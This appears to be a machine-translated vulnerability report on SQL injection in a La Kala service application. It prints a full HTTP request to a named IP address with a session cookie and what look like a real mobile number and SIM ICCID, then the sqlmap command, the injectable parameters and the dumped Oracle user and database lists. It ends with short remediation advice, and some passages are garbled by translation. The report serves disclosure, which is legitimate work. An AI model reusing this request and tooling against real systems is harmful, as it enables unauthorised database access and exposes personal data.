SQL Injection for a service application in La Kala

SQL Injection for a service application in La Kala

Some time ago, I found that the SQL injection of a service application in La Kala does not intend to go in from this vulnerability. Therefore, I submitted this point first.

 

 

 

Save the following file: lakala

POST /queryIccId.action HTTP/1.1Host: 180.166.18.166Proxy-Connection: keep-aliveContent-Length: 126Accept: application/json, text/javascript, */*; q=0.01Origin: http://180.166.18.166X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8DNT: 1Referer: http://180.166.18.166/goIccIdPage.actionAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4Cookie: JSESSIONID=DC06E1B3A972825A693208E94C6BDA9Econd.simMobileNo.mobileNo=14721965103&cond.simMobileNo.iccId=898600D2091299053897&cond.beginDeadLine=&cond.endDeadLine=&page=1

The latest version of sqlmap

Sqlmap. py-r lakala found that two variables were not filtered

there were multiple injection points, please select the one to use for following injections:[0] place: POST, parameter: cond.simMobileNo.mobileNo, type: Single quoted string (default)[1] place: POST, parameter: cond.simMobileNo.iccId, type: Single quoted string

User:

database management system users [14]:[*] APEX_030200[*] APEX_PUBLIC_USER[*] FLOWS_FILES[*] IGNITE[*] MGMT_VIEW[*] OWBSYS[*] OWBSYS_AUDIT[*] POSPADM[*] RCAT[*] READOD[*] SCOTT[*] SPATIAL_CSW_ADMIN_USR[*] SPATIAL_WFS_ADMIN_USR[*] SYSMAN

Database

available databases [14]:[*] APEX_030200[*] CTXSYS[*] EXFSYS[*] FLOWS_FILES[*] IGNITE[*] MDSYS[*] OLAPSYS[*] OUTLN[*] OWBSYS[*] POSPADM[*] RCAT[*] SCOTT[*] SYSMAN[*] SYSTEM

 

Solution:

Whether this is a test environment or a production environment, the basic security reinforcement of the database should also be performed according to your database security reinforcement Manual (DBA operation, security personnel review. The application is not compatible with your security coding specifications.

Filter. Both the cond. simhei Eno. mobileNo and cond. simhei Eno. iccId variables must be filtered.